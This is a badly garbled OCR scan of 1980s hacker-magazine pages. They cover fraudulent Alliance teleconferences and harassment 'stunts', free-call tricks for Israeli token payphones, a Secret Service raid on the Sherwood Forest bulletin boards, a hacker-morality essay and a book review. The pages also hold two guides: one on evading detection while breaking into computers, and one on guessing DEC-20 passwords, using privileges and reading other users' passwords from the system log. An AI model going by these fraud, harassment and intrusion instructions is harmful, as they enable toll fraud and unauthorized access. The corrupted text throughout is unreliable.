Alliance, and usm? wore_locations than available results in “10 conference
facilities available now™. To change your choice dial a 3, or togo onwarg

0 add a nuader while In contral l)dzd al 1+ the phone nusber.

To dial international dial 1 + 011 + the phone nusber. Passing control can
be done by dialing & plus the nusber of the person on the conference yo
wish to pass control. Then by mmnga ¥ you rejoin the conference, or by
Jjust hanging up you leave. When in
You to control sode.

to pass cuntrol as men—

the conference dialing a 4 will returr

Getting a direct drop on an'

Mhen conferees hang up. a "dee-doot” Wi
hears the phme nuaber of person who left. Hitting the ¥ imsediately calls
the departed back. There is no way to drop people from conference other
then getting a conference operator to do it or by blowing 2600 hert: down
the line. However, this will drop enh and every person on 4 trunk using
in-band signaling. Hitting a 0 in sumons 3 conference

ramn ho«ever. shefhe takes tonT.rnl be!hre he/she ancwers, en enly do

ou koow what you are doing. Hxltmg a9 In control sode requests
a sﬂant altendant listener line.”" According to the Deson this option
allous the controller to hear the tones and ph s of people hanging
up while he is in control mode. Conference o0p's claim this function is for
secretaries and such to listen to, but not participate in, conferences for
note taking purposes.

1f these instructions sound confusing, don’t worry. Resesber, ﬂle ['ntllE
mlereme is accompanied by extresely user friendly sessages.

o late night, sany telcoa hobbyists have “had Tmblws mh
transfnrrmg control, instead gelting 2 recording “Mot available at !hls
tiee™. Also, similarly, 1nm'nahma dlalmﬁ is sosetises unavailab
Generally -3001 does this less oft; Mg‘ 200K next.

ne sust aluay: be prepared for listeners whenever one conferences. If
e is discussing "questionable” matters on a conference, last nases and
phone nusbers should MEVER be given out. One of your fellod telcos hobby-
Ists might be an FBI agent, Dr snlemes a conference operator listens in o
conferences which sound ey do na it do this usually, a5
Alliance -osl often carries husm?!@ calls [you have to reseaber th'
folks!), and doesn’t expect fraudulent calls. Sure ways to interest an
o is |u have either al] the conferees but one or anly just the controller
hang en a controller hanas wp the conference op takes control and
ailmls to let the the fcrm u...rn]lw mfam his conference” by Iaihn?
hin at hose. Also, contrallers asounts of Lise in contro
wde. resulting in everyone else hangmg up, aroiises the attention af the
The nusber which originally started the conference can hang up thoush,
amr passing control, but the conference will still be billed to it.
Dangers of framlenllv started conferences <een to be slight.
person 1 knew who got causht was forced to pay for a phone call froa Dallas
(where  the cmferenceuas started) to his hose in [:ahfnrma This is not
Lu say it is safe. m it definjtely is safer than 950°s fraudulently.
ven phreaks Mho sel up several conferences a night for months, including
the harasssent of DA operators, haven't been caucht. However, we don't
samest You attemt 3 fraudilent conference. Even peraitting yolrself to b@
to a fraudilent conference is enough for prosecution, according to
-ﬂH (ne ﬂll that prevents a lot nf this investigation is that sost
fraudulent rmfermes are sel Lp with PBX's, and thus the prosecution lies
with the owners of the PBY, and ATAT isn t even involved. For this reason,
FBx's often are traced.
dother risk is that all nusbers dialed are recorded by Alliance, even
wigdials, The nubers dialed are all printed out and sent to a vault at the
thicaoo Bel] Test Labs for storage for their records. In addition, con-
ferences are rm% taped and eonitored for fraud. It would seem safer to
use Alliance to call an extender, and then dial out from there as althoush
Alliance records all nusbers dmled logically they probably mlr pay atlen-
tion to nusbers they intend to on, i.e add to the conference. The
ent use of & extender 1; a lamv of investigation another coa-
pany, and don't for tam and the extender comanies are cosetitors, and
thes they wouldn't aluays g0 cut of Ugér ways to cooperate.

i1 be heard. The controller also

STUNTS
Often when a conference starts to slow down, people start su?ses(ing
various stunts to liven lhmgs w. e uurd of ‘warning, sost these
construed as harasseent, and thus are illegal. ne of
is adding a mlllwde of Directory Assistance
ther “What city pl

the mst comson
operators.  Listeni ach o please?” and then
arguing about who belongs on the line is extremely husorous. Dmfus;
reigns uhen you attespt to get thea to look up a nusber. Sose DA's have had
this done so sany tises that they rexlue that this is a rmfe:eme and will
either hang up imsediately or will threaten you with taking over your con-
ference. Resester, nly the cmferem e?eralor can laln wer a conference.
s0 aost of these threats are inel thea give a hard
tiee, just ask to speak to their supervlsor 35 this uma}lv adds even nore
Sisilar things ean be done with with business offices, repair
?emnq all this cross talk on sy line” “no, it's sy

telex ops, and other phone cospany personnel.  Also.

osputer cospanies or other corporate bureaucracies have similar chaos

mteﬂl;al (One interesting thing to try is to a tmw
esployee for social engineering purposes, Hiowever, most phreaks fail to
realize that ‘ISPS saintenance” or ‘Bell Security’ cels a little too
regetitious and suspicion aru.Lsmg doe to their over-heavy use

tenerally, for courtesy’s sake, one should call peu:le o generally
expect to get weird calls at odd bours, and are often bored at thelr gt;s
Radio station DJ's often enjoy this, 3s do hotel operators and bell
Going international often increases the fascination with conferences.
Severs] hotel ops around the world expect and look forkard to conferences |
¢alling thes during the dull early nmmg hours, and the conferences sose-
tises place calls Tor thea m eciation. Hilitary bases are another
sm.l agﬂ:ae nat| hle t1rs %ﬁatwmhmre called
w. It is impossible to mﬂvm:e people that they ARE gef @ con-
ference call, as lha twist up sose impossit le theory Eu explain 15 thaotlc

pecele at  once. lmgan
nﬁver celehnnes ?‘.ave tzq:led to be rsa:hcd M Often
telling their secrelarles that this is a :cnference tall :an arwse theu

curiosity cose on line. A comson statesent is “You dam cospu
hackers are s0 snarl I.n have flmzd Uus wt uule & they hm huu
simple it is, and it the sass sedia constantly

usulanm! mmmg |1ldh mt of the urdman- as the fault of cospuler’s
influenc ﬁmle. (Sorry about the side digressicn)
when addi remrdmns ar e:tenders fo a conference that
LM- generally will nat Ilmg wp. Siailarly, people added can’t be forcwlr
disconnected without the conference nperator s help, and can sbar on 35 103?
hant, mmtnr:nq or nly way to rid a ron emm

as
these is to blast 2
When adding pewle such as FBI agenls or inforsants the use nf
three way Callllllj o oe of the mferees is generally sore intelligent, as
1t perits the caller w forcibly dr

mﬂuf these stunts mtmned are plam ‘childish, vuﬂe and uulhoumful
t0 ol Hany, uF these definitely would count as harasssent. Frequent
resortation to rhese often amusns the suspicious curiesity of -ﬂllle 5.
Continual use of -a¥ in a general tightening up of security in
Alliance, not due to raum]ml calls, but froa cosplaints. (Obviously,
these utterly senseless acts shu should &;#& ted in extrese mderation.

The old sethod of conferencing hv calling the cperator and asking
cmlzrml:e sulI n)rts mls however 15 :mtrnlled nhrsn:al]r br the
operatar rd. Three way calling of course 15 another
con[erencmg npuon mlu line loops are rare, tut do exist. Sometises

connect several phone lines together to form a conference.
ul lhemsl famcus was the UCLA one at 213-204-2810 to -2017 as last know

One up as of the writing of this article is at 602-976-0770 to 0777,
Kather conferencing systea is City Conference in Gakland and San Francisto.
Siailar to this is a systea called Phone-a-Friend in sose areas at 550~

Every once in a while cmfermces are et in the old hlsr.nmal
phreaking sold on PBX switchboards or on tele%m@ suitching equipsent by
renegade linesen and the like. nf nst hlclmt nf these was the
21 :onfe(mce which nasarrwd through telex test-board
trunk in a 44 switching machine in Vancouver , rauada For several months
shone phreaks could IF via a blue box 604 (Vancouver's are code) then 2111
(code fw l.ele- testing board) to reach phredks and other telcoa hobbyists
arond the world. Sweules conferences set up by this sethod are acces-
sible vig norsal phone conferences, by their very nature of
actual adjusteent of sutthlnq equipaent, are rare.

Several mwames offer alternate brldgmg services, otherwi
conference These all clais ﬂq have higher quality than Alllmm Thel
control the conference thesselves "so you m Just et down to business
without warrying about details.” You can ask th to leave, bu tnen there
is no one In control of the conference. Benerallv they nher saaller con-

erences then Alliance’s 59 (Market Navigalion's limit is 19) They all
cham cmsuimblr gore than ATLT (Market Nawgatmn Int. wnted arate i
$195 per hour for a 12 person conference plus the cost of the dialed phone
calls) You generally have to set up conferences ahea nf tiee. They all
will send a bill to your cospany, and sose will allow the use of a credit
card instead, Gmmllr you have to book ahead of tise. Eramples of these
independent firms are Daroae Comection (205-797-1300), Market Wavigation
Inc. (914~ 165-01211 and Telesession. The nusbers are for setting up con=
ferences, althaugh you can social-engineer as well.

the resylts predicted

Basically, conferencing, even fraudulently, is one of -the safest ways to
get in contact with other telcoa hobbyists, by its track record of busts.

ey are very few and far between. Several Lises Alliance operators have
dropeed in on conferences and carried on conversations with the
participants. #uch of the inforsation in this amcle WS ?aclmd up froa
these sources, Often one hears the cosson coasent of eleon corport
tions that * are using us a5 a tax writeoff,” + how long
they keep taking losses in_this post-divestilure age nf of felco :omelr
tion. Expect in the near future to see other telcos companies such as IIT,
!:1 and GIE Sprint oet into the act, & conferences are really pretty cheap

and aren't that technically exotic. Telcos hoboyists ean get

tmether o pick each others brains for info, and starters can learn the
ropes in the presence of several sore erperienced phreaks.  Also, just
norsal  sacializing with pecele all over the country is fun, !smmlf
you realize you probably would have never -et otherwise, In order to
Join in a conference try calling soseone on it who has call mlmq o tu
phone Lines, as_he can relay to the controller that you wan added.
tmfwmu:mg is all in all an excellent way to cmmcata mh the telcon
coanity at large, when used in soderation. Use, don't

Information pmnded by Alliance Teleconferencing, the Deson, Elric
Blmdam. Fnrasl John Doe, Teysaster, Narket Kavigation Inc., the
Shool i Telcon bk Toe. Turner and the sesers o the

of maf BAS of a&lll mgazine: the Private Sectar.



a guide to the israeli phone system

The lIsraeli

phone system, like their AC
current (220

volts) and their television
standard (PAL) is a European system. Euro-
pean telephones differ from the American
standard in several interesting ways. First
of all, dialing is by shorting out the hone
line rather than opening it up. One of the
drawbacks of this method is that an exten-
sion phone on a line being dialed will have
its be?l capacitors continually discharged

and recharged during the dialing, making a

little "ping" for each dialing pulse. Gooed
if you want to know about aclivily on the
line, bad if you don’'t want someone else’s
dialing to other yvou. Another difference
is the "off hook" wvoltage =- a mere 3.5

volts, compared to the heftier 7-9 volts in
an American system.

Their pay telephones are organized on a
token system. You throw in one token for a
loral call, and for longer distances the pay
phone eats the tokens at a certain rate per
minute, There’s a little chute in the phone
which will stack up four or five of the
tokens so that you don’'t have to pour them
in all the time. ASEMONIM (which is  just
the Hebrew word for "tokens") can be bought
at any post office. The going rate is
around a nickel each.

This system has various advantages and
drawbacks. The pay telephone doesn’t have
Lte bhe wvery complicated. All it does is
disable the dial until you've drﬂpﬁed at
least one token in, and cut you off when the
tokens run out. Whether or not the tokens
drop into its coin box (unused tokens can be
retrieved when the call is over) is deter—
mined by the exchange. Signals are sent
over one of the three wires of the pay
phone’'s line whenever the exchange decides
that it wants another token. Just discon-
necting the proper wire {which can happen b
itself at times when the phone breaks down
will let the phone run forever on one token.
Worse yet, if you can access the two other
wires of the pa{phone’s line, you can clip
on your own telephone and dial away with no
restrictions. Various other schemes exist
that mechanically jam Lhe tokens in one way
or another so that they just don’t drop down

inte the coin box and the eall is never cut
off. Not only that, but if you're good with
the hookswitch, wou can dial the number

yvourself without drnp?in%‘tnkens in at all!
The anphﬂne dial won’t dial until vou chuck
a token in, but hand-pulsing the hookswitch,
though a tedious process, can get you
connected. It only makes sense for local
calls, though, since on any other kind the
payphone will cut ﬁnu off when the exchange
asks for another to

en. And it makes a lot

of noise and looks suspicious, and with the
clumsy hookswitches provided, is not very
accurate.

With making free calls (or almost free,
for one token) so easy, one wonders how
their telco takes any money in at all. The

explanation lies in their rate structure,
which is rather reasonable. There are only
three mileage rates: local, which is one
message unit (or one telephone token from a
pay phone), intermediate (say, from the
center of town te the remote suburbs of that
townl. and long distance (from one city to
another). That's it. So to call from one
cit¥‘t0 another, whether they are separated
by fifty kilometers or a few hundred, is

still the same rate.
between remote corners
add up that quickly. And on a one token
local call, wou can talk all you want. So
in general, there's not that much of a need
to steal calls from pay phones, since the
token supply is plentiful and low-priced.

Of course, those perhaps artificially low
rates don't apply to international calls.
The Israeli solution is rather simple: ol
can only make collect international calls
from a pay phone. Not only that, you have
to spend a couple of tokens in the process.
You're forced Lo ecall a Tel Aviv number
where an operator will take your number and
(hopefully) call you back. During peak
periecds, it becomes almost impossible to
reach this operator. Even if wou gel
through the busy signal, thﬂ{ don't always
answer immediately (and the calling exchange
automatically disconnects the eall after a
minute and a half if no billing signal is
received, so you can't ring their phone for
any decent length of time. This also takes
most of the fun out of calling a black box
in another country, since yvou invariably getl
cut off within two minutes. Black gﬂxes
don’t seem to work locally, as the exchange
doesn’t switch the audio in until somecne 1is
payin% for the ¢all — this often results in
the first "Hello?" getting cut off). You
can usually dial international calls direct
from a home phone, but if you need an inter-
national operator then the service is almost
as bad.

Just getting a home phone in the firsl
place can be a long hassle. When you first
get yvour own phone, you must pa¥ around $350

or an initiation fee. But after that, no

So even phone calls
of the country don’t

matter how many times you move or need the
phone reinstalled, there aren’'t any more
connection charges. But if wyou live in a
newly built area where the phone lines
haven’t been laid yet, yvou can wait several
ears (') to have your service installed.
ven if you move into an apartment that

already has a line installed the wait can be
as long as several months. This situation
is supposed to be improving, thcufh, espe-
cially with the installation of electronic
switching  exchanges that have large
capacities. In areas with overburdened
exchanges, party lines are also very common,
and are often the only service available.
Party lines there are nowhere near as much

fun as here -~ when one party picks up the phone, the other is locked
put, and cannot interfere or use the line. .

Getting your phome service fived can also be a trying task.
Flakiness is aboub the best word that describes their telco's repair
tranch. After one or two cosplaints, if you're lucky, the probles
mioht get fived, and not recur the next day. It is just about
useless tc cosplain about repair problems to & superviser, since the
supervisor's phones are always tusy or never answered.  Social
engineering (such as pretending to be a reporter or other person with
clout) is about the only reliable way of getting your cosplaints
resolved. _ .

The thione systen is alsp the source of one of the sany national
parangias. [ can't talk about that over the phone” is heard
incredibly often.  Perhaps 1t's because Israel is a saall country
with many noticeable security precautions (for example, you sust open
your bag in front of a security guard shenever walking into any lar
establisheent so they can check you for ameunition or explosives).
Sose people alaost routinely assuse that their conversations are
aonitored, just like a lot of phone phreaks over here always think.



Sherwood Forest Shut Down by Secret Service

An All Too Familiar Story

Yes, il's happened yet again. This time,
two of the most prestigious computer hacker
bulletin boards around, Sherwood Forest II
and III, were raided by the government. The
by now familiar scene of law enforcement
tvpes shutting down a bulletin board svstem
hecause somebody didn't 1like what they'd

been saying is no longer even newsworthy,
Jjudging from the complete lack of media
coverage.  That 1is probably the most
worrisome ingredient here.

On_this ocecasion, it wasn't the FBI that
carried out the raids, but the Secret
Service. Why? According to William Corbett

in the Washington public affairs office, the

Secret Service became authorized to conduct
these investigations after October 1984
under United States Codes 1030 (fraud by

wire) and 1092 (credit card fraud). Because
it's still an "active investigation”,
Corbett declined to give out any details on

the case.

Biocc Agent 003, a co-sysop on Sherwood
Forest Il, claims that warnings were posted
all over the board '

C concerning the pcsthﬁ of
credit card numbers. "The management didn't

have enough time to constantly look after
the system,” he said. He attributes the
raids to "schmucks that posted numbers
anyway" . He also believes that posted
information on c¢redit firms {(CB1 and TRW)
led to the seizures.

As an example of the kind of material

Sherwood Forest had available, we  are
reprinting one of their articles below. We
feel this one 1is particularly timely and
ironic. In addition, we are running one of
their manv hacker guide=, We will run others in
the future. If you'd like to send us a copy of a Sherwood
Forest article that we may not have, please do. We must
not allow them to be silenced forever.



SOME WORDS ON HACKER MORALITY |

A lesson in phreaking and hacking|computers or newspaper computers.
morality: credit  information services claims hackers

I find it truly discouraging when Lﬂple used three stolen accounts to aid them in
intelligent people seeking intellectual abusing stolen credit cards. The thrill of
challenges, must revert to becoming common|enterin and loocking around has shifled to
criminals. The fine arts of hacking and|crimina practicality--how can 1 make my
boxing have all but died out. Though vyou|bank account fatter——how ma¥ use this
newcomers, you who have appeared on the|stolen credit card to its fullest-—how could
scene in the last year or two, may not|I take revenge upon my enemies.
realize it, we had it much better. People| And then there is the world of Phone
didn’t recognize our potential for destruc—|Phreaking. The number of phreaks has grown
tion and damage because we never flaunted|from an elite few, perhaps ten or twenty, to
it, nor did we exercise it. well over a thousand. Still, there remain

For hacking, it was the intellectual|only abeut 10 or 20 good, longlasting
challenge which drove us to do it. The|phreaks. The rest receive information and
thrill of bypassing or breaking through|abuse its uses until the information is no
someone’s computer security was tremendous.|longer  wvalid. Even worse, they seek
It wasn't a case of getting a password from|publicity' They WANT to be caught! Many
a friend, logging on, and destroying an|even use their real names on bulletin board
entire database. . We broke in for thelsystems to promote publicity. Meanwhile,
challenge of getting in and snooping around|the REAL phone phreaks have been resting in
WITHOUT detection. We loved the potential|lthe shadow of the rest, waiting for
for destruction that we gave ourselves, but|phreaking to become so dangerous as to

never used. o ecome a challenge unce agaln. Once
Today, after so much ?gbljc]ty, the fun security tightens and the strcn{

has turned to true criminality.  Publicity|survive (phreak Darw1n15m°}; pﬁrﬁaklng wil

we have received 1is abhorring. From|be restored as a way to 'beat Lhe system’

HHFGHmE§ to the headlined October Ralds, tﬂ without costing anvone anything.

the 414's, the Inner Circle, Fargo Hacking may soon be dead, but may phone
the NASA breakins--not to mention ail the phreaking live on!

locul incidents that never made the bi Big Brother [Courtesy of Sherwood Forest
newspapers, like break-ins at schooll J[ —= (914) 359-1517]




Out of the Inner Circle— A REVIEW

Out _of the Inner Circle, A hacker’'s guide your system through the trap door that the
!u computer security, by *The Cracker" Bill {natalﬁed and dg whatcverpthEY wish. an?
ﬂnndrelh, The teenage computer wizard these management types may start keeping an
apprehended by the FBI. $9.95, Microsoft eye on thair computer experts as well as
Press. company security. Qut of the Inner Circle
. . is also_ full of vigneties which may sound

Out of the Toner Circle is one of the many commonplace to the average hacker, but that

books ~written by = Tormer criminals, but |should scare the businesspeople of America -
ﬁr“hdbly the Tirsl written by a former descriptions of the activities of crashers
acker or should it be reformed hacker. It

ho try to erase files or halt systems and
f haﬁﬁers reading personal documents and

tering corporate computers.
Landreth often makes mention of a system

is written for middle level managers and for
those who want to hear Bill Landreth
describe how a hacker thinks. It only

describes so called hacker computer crime as py its value. "Someone is trying to break
ﬂrpused te hard <ore white collar crime into your millien dollar computer...” he
where people scheme to steal secrets or ight say. This 1is the languaﬁnl that
large sums  of  money. Landreth tries to orporate America speaks. Landreth is not

ery worried that someone may be 1ﬂ0kiﬂ§ at
our credit information, and even ess
orrie?l that there exist companies that own
se it.
But, basically, Landreth fulfills the
urpose of the book in two chapters: "Make
he Most of What You've Got", and "Telltale
igns". Together they would make a good
ide of simple suggestions that could prove
invaluable to sysops, system designers, and
uter =security consultants. In the
atter chapter, Landreth discusses how one
ould reduce accessibility to spare or
nattended terminals how te reduce the
iability of dial-ups, change logon

rocedures assign complex passwords, and
her inexpensive procedures that

an beef up security and keep out most
ackers. In the former, he lists some tell-
ale signs for one to suspect that an
ntruder has been on the system, such as
xcessive use of help files, movement of
ther files, activity in normally dormant
coounts, etec. It 1is these two chapters
lone that make the book useful. They
ontain all that information that hackers
now and about which they sometimes remark:
'If I was running that system, this is what
would do..." These chapters tell of the
asic steps to follow to greatly reduce
omputer intrusion b{ hackers. If these
uggestions are followed, the total amount
illegal entry may decrease by a
ubstantial percentage. Leaving only the
ery clever and persistent hackers to
xamine corporate America from the inside.

avold being too technical for the benefit of
his readers, those who are making many of
the decisions that affect security, and so
he can present his = guide to computer
security without having to detail all
possible procedures for the many different
systems that exist today.

In it he describes {he beginning of The
Inner Circle, which was a group of hackers
who were  dedicated to peaceful and
non-destructive  hacking and were subse-
Euently decimated with other groups, like

HALSE, b{ the Telenet busts of 1983. He
surveys the history of hacking and the evol
ution of the home computer in order to
present his profile of a hacker and the
motivating forces behind the hacker. This
is an important element of the book where
Landreth  describes the psfchalugy and
Lhought processes of technology's foe, the
hacker. He tries to classify them, so he
can refer to them later: the novice: the
student, which Landreth considers himseif to
be; the tourist; the crasher; and the thief.
He describes various methods of hacking in
"How a Hacker Hacks" such as guessing
defaults, using help files and demos. He
then goes on to discuss different general
types of computers and peripherals as well
as  operating systems, what account
privileges are, what security is, the role
of the sysop, and various hacker scenarios.
The book is full of dramatic digressions
into the activity of & hard core hacker, who
may spend as much as a year to break inte a his in turn would finally give some credi-
system, may return to enter a system with ility to the myth of the computer wiz-kid.
100 or more "friends", or mai even pretend Then again, this book can be taken in
to poll employees outside the target company another ways! Only a few weeks ago,
as they go to work in order to find out user according to 2600 reporter Hunter Alexander,
names and any personal information that P. Michael Nugent o the Electronic Data
might be used as passwords. Systems Corporation fumed about Qut of the

Out of the Inner Circle is written for Inner Circle before the crime subcommittee

these management types, who will read and ol the House calling it a "how to do it

=8

read, get nervous, and then lean on the [computer crime]. How do I handle that?" he
system operators to beef up security. Lan— aske Rep. William Hughes (D. N.J.). Mr.
dreth also refers to sysops who do not mind Nugent ought to read the book before the
chatting with hackers, as well as system hackers do, if he is so worried.

designers who may build trap doors inte the
system that theY sel up for you. Then one
day they may cal up vour computer, enter



FROM SHERWOOD FOREST =

This article, “The Introduction to the World of Hacking”™ is meant
to help you by telling you how not to get caught, what mot to do on a
cosputer systes, what type of equipsent should I know about now, and
just a little on the history, Pasttgresent future, of the hacker.

&

Welcose to the World of Hacking! We, the people who live outside
of the norsal rules, and have been scorned and even arrested by those
froa the 'civilized world’, are becoming scarcer every day. This is
dup to the greater fear of what & oood hacker (skill wise, no soral
Judgesents here) can do nowadays, thus causing anti-hacker sentisent
in the sasses.  Also, few hackers seea to actually know about the
conpater systeas they hack, or what equipeent they will run into on
the front end, or what they could do wrong on a systes to alert the
'higher" authorities who monitor the systea. )

This article is intended to tell you about sose things not to do,
even before you get on the systea.  We will tell you about the new
wave of front end securily devices that are beginning to be used on
rosputers. e will atteset to instill in you a second identity, to
be brousht up at tise of areat need, to pull you out of trouble.
dnd, by the way, we take ro, repeat, no, responsibility for what we
say in this and the forthcoming articles. Enough of the bullshit, on
to the fun: 2

After logaing on your favorite Dbs, you see on the high access
toerd & phone nusber! Tt saps it's a great systes to “fuck around
with!® This say be true, tut how sany other people are going to call
the sase nusber? So: try to avoid calling a nusber given to the
putlic. This is because there are at least every other user calling,
and how many other boards Wwill that nusber spread to?

IF you call a nuaber far, far away, and you plan on going thru an
eetender or g re-seller, don’t keep calling the same access nuaber
{1.e. as you would 1f you had & hacker runninal, this looks very
cuspicious end can sake life miserable when the phone bill coses in
the aail. Most cities have a variety of access numbers and services,
o use a5 many as you can.  Mever trust a change in the systes...
The 414's, the as&u]e-s, were caught for this reason: when one of
thes connected to the system, there was nothing good there. The next
tise, there was a trek game stuck richt in their way! They proceeded
to play said gaee for two, say two and a half hours, while TELENET
Was tracing thea! Mice job, don't you think? [f anything logks
suspicious, drop the line 1msediately!! As in, YESTERDAY!!  The
point we're lrying to get across is: if you use 3 little coason
sense, you won't get busted.  Let the little kids who aren't smart
enough to FE(!ILI'IHE' a trap oot busted, it will take the heat off of
the real hackers. Now, lel’s say you get on & cosputer systea...t
looks great, checks out, everything seess fine. Ok, now 15 when 1t
?315 sore dangerous. You have 1o know the computer system (see
future issues of this article for info on specific systems) to know
what not to do.  Basically, keep away from any cossand which looks
like it mioht delete sogethiing, copy 4 new file into the account, or
whatever!  Always leave the account in the same status you logged in
With. Change SMOTHINGH. ._if it isn't am account with priv's, then
don’t try any comsands that require thea! All, yes ALL, systess are
q0ing to be keeping log files of what users are doing, and that will
chow up. It is just like dropping & trouble-card in an ESS systea,
after sending that nice operator a pretty tone. Spend no excessive
asounts of time on the account in one stretch, Hwﬁ your calling to
the very late night 1f possible, or during business hours {believe it
or MOT!). It so happens that there are sore users on during business
hours, and it is very difficult toread a log file with 60 users

doing many cossands every minute. Ir}' to avoid systess where
WEW knows each other, don’t try to bluff. And above all: NEVER
att like you oun the systes, or are the best there is. They always
grab the people whose heads swell... _

There is sose very interesting front end equipsent around nowadays,
but first let's define terms...

By front end, we mean any device that you must pass thru to get at
the real cosputer. There are devices that are made to defeat hacker
programs, and just plain old sultiplexers.  To defeat hacker
prograss, there are now devices that pick up the phone and just sit
there... This means that your device caaets no carrier, thus you think
there isn't a computer on the other end. The only way around it is
to detect when it was picked wp. If it picks up after the sase
nusber ring, then you know it Is a hacker-defeater. These devices
take a multi-digit code to let you into the system. — GSose are, 1n
fact, quite sophisticated to the point where it will also limit the
user nade's down, 50 oaly one name or set of names can be valid
logins after they input the code... Other devices input a nusber
code, and then they dial back a pre-programsed nusber for that code.
These systeas are best to leave elone, because they know sosecne 1s
plaijng With their phone. Tou m_thlni But i'1l just reprogram the
dial-back.® Think again, how stupid that is... Then they have your
nusber, or a test loop if you were just a little smarter. If it's
your rusber, they have your balls (if sale...), if its & loop, then
you are screwed again, since those loops are tsonitoredé.

As for sultiplexers... What a plexer is supposed to do is this:
the system can accept multiple users. We have to tise share, so
we'll Lz-t the front-end processor do it...  Well, this is what a
wltiplexer does. Usually they will ask for something like “enter
class™ or “line:™.  Usually it is prograssed for a double digit
nusber, or a four to five letter word. There are usually a few sets
of numbers it accepts, but those nusbers also set your 300/1200 baud
data type.  These multiplerers are inconvenient at best, so rot to

Worry, o

A Eittie about the history of hacking: hacking, by cur definition,
means a greal knowledoe of soee special area. Doctors and lawyers
ate hackers of a sort, by this definition. But most often, 1t is
being used in the cosputer context, and thus we have a definition of
“anyone who has a great ampunt of cosputer or telecomsunications
knowledge.” You are not a hacker because you have a list of codes...
Hacking, by our definition, has then been around only about 15 years.
It started, where else but, MIT and colleges where they had coaputer
science or electrical engineering departments. Mackers have created
soae of the best cosputer lanquages, the most awesose operating
systeas, and even oone on to make millipns. Hacking used to have a
good nase, when we could honestly say “we know what we are doing’.
Mow 1t eeans (in the public eye): the 414's, Ron Austin, the HNASA
hackers, the Arpanet hackers... All the people who have been caught,
have done dapage, and are now ooing to have to face fines and
sentences. Thus we come past the soralistic crap, and to cur
purpose: educate the hacker coasmmity, return to the days when people
actually knew something... o~

A progras uide: Three wmore articles will be written in this
series, at the present time. Rasics of Hacking I: DEC's Basics of
Hacking IT: VAX's (UNIX) Basics of Hacking ITI: Data Gemeral. It is
impossible to write an article on IBM, since there are so many
systeas and we only have info on a few... This article has been
written by: The Enights of Shadow
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INTERESTING THINGS TO DO ON A DEC-20

by The Knights of Shadow

( as seen on the late Sherwood Forest ][ )

The first thing you want to do when you
are yec&1v1n§ carrier from a DEC system is
to find out the format of login names. You
can do this by looking at who is on the
system. DEC> @ (the ’exec’ level Srﬂmpt}
YOoU> SY} Y is short for SYSTAT and shows
you the system status. You should be able
to see the format of login names. A SYSTAT
usually comes up in this form: Job, Line,
Program, User. The JOB number is not
important unless you want to log them off
later. Line is a number that is used to
communicate with the user. These are both
two or three digit numbers. Program tells
what program they are running under. If it

sa¥s 'EKEGT they aren't doing anything at
all. User is the username they are logged
in under. You can copy the format, an

hack vwyourself out a working code. Login

format is as such: {DEC> @ YOU> login user-
name password}. Username is the username
in the format you saw above in the SYSTAT.
After vyou it the space after your
username, the system will stop echoing
characters back to your screen. This is
the Tassword you are typing in. Remember,
pecple often use thelr name, their dog's
name, the name of a favorite character in a
boock, or something like this. A few clever
penpie have it set to a key cluster iqwert
or asdfg). PW’s can be from to
characters long, anything after that is
ignored.

Let’s assume you got in. It would be
nice to have a little help, wouldn’t it?
Just type a 7 or the word HELP, and wyou’ll
get a whole list of topics. Some handy
characters for wyou to know would be the
control keys. Backspace on a DEC-20 is rub
which is 255 on your ASCII chart. On the
DEC-10 it is Cotrl-H. To abort a long
listing or a program, Cntrl-C works fine.
Use Cntrl-0 to stop long output to the
terminal. This 1s handy when playing a
game, but you don’t want to Cntrl out.
CptrifT gives you the time. Cntrl-U will
kill the whole line you are typing at the
moment. You may accidentally run a program
where the only way out is a Cntrl-X, so
keep that in reserve. Cntrl-8 to sto
listing, Cntrl-Q to continue on bot
systems. . .

Is your terminal having trouble? Like it
auses for no reason, or it doesn’t
ackspace right? This is because both

systems support many terminals, and you
haven't told it what yours is yet. You are
using a VI05 (isn’t that funny? I_thought
I had an Apple), so you need to tell it you
are one, DEC> @ YOU> information
terminal} "Info ter" also works. This
shows you what vour terminal is set up as.
{DEC> assorted garbage, then the @ YOU»> set
E%EEvtﬂﬁ} This sets your terminal type to

Now let’s see what is in the account
{hereafter abbreviated acct.) that you have
hacked onto. DIR is short for directory,
it shows you what the user of the code has
saved to the disk. There should be a

format like this: xxxxx.o000 xxxxx is the
file name, from 1 to characters long —
ooo is the file type, one of: EXE, TXT,
DAT, BAS, CMD and a few others that are
system dependant. EXE is a compiled

program that can be run (just by t{ping its
name at the @). TXT is a text file, which
you can see by typing "type xxxxx.TXT". Do
not try "type oxoxexx.EXE". This may make
vour terminal do strange things and will

tell you absolutely nothing. DAT is data
they have saved. BAS is a basic program,
you can have it typed out for you. CMD is
a command type file, a little too
complicated to go into here, Try "take
Xxxxx.CMD".

By the way, there are other users out
there who may have files you can use {gee,
Whg else am I here?). e "DIR <*.%>" on
a DEC-20 or "DIR [*,%*]" on_a DEC-10. ¥ is
a wildcard, and will allow you to access
the files on other accounts if the user has
it set for public access. If it isn't set
for public access, then you won’t see it.
To run that program: {DEC> @ YOU» username
file name}. Username is the directory you
saw the file listed under, and file name
was what else but the file name?

Remember wvou said (at the very start)
"SY" which showed the other users on the
system? Well, you can talk to them, or at
least send a message to anyone you see
listed in a SYSTAT. You can do this by:
{DEC> the user list éfrom your systat) YoU>
talk wusername (DEC-20) send username
(DEC-10)}. Talk allows wvou and them
immediate transmission of whatever you/they
type to be sent to the other. Send only
aifuws you one message to be sent, and only
after you hit <{return>. With send, they
will send back to you, with talk you can
Jjust keep going, the way, you may be

B
noticing with the ta{k command that what

you t is still acted upon by the parser
(control program). To avoid the constant
error messages type either: {YOU> ;vour
message YOU» rem your messagel. The
semi—colon tells the parser that what
follows is just a comment. Rem is short

and ignores you from then on
until you type =a Cntrl-Z or Cntrl-C, at
which point it puts you back in the exec
mode. To breaﬁ the connection from a talk

for 'remark’

command type "break".

If you ﬂgpen to have privs, you can do
all sorts of things. First o all, ou
have to activate those privs. Enable"
gives you a $ prompt, and allows {ﬂu to do
anything to any other directory that wyou

can do with your own. To create a new
account, usin {aur privs, just type "build
username"”, I he username is old, vou can

edit it. If it is new, yvou can define it
to be whatever you wish. Privacy means
nothing to a user with privs. There are
various levels of privs: Operator, Wheel,
CIA. Wheel is the most powerful, being
that he can log in from anywhere and have

his powers. Operators have their

because thﬂﬂ are at a special terminal
allowing them the privs. CIA is short for
'Confidential Information Access’, which
allows vou a low level amount of privs.

Not to worry though, since you can read the

system log file, which also  has the
passwords to all the other accounts. To
de-activate your privs, type "disable".

¥When you have p1a¥ed yvour greedy heart out,
